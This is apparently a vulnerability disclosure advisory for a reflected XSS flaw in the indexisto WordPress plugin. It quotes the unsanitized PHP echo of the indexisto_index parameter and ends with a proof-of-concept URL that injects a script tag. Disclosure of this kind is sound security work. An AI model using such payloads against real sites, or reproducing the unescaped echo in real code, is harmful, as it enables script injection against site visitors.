Advisory #: 38
Title: Reflected XSS in wordpress plugin indexisto v1.0.5
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
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Downloads: 1531
Vendor Notified: 2016-02-09
Export: Json
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Plugin Name: indexisto
There is a reflected XSS vulnerability in the following php code ./indexisto/assets/js/indexisto-inject.php: 5: jQuery(this).attr('id', 'indx_srchbox_<?php echo $_GET['indexisto_index'] ?>'); The variable indexisto_index appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000138
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index="><script>alert(1);</script><"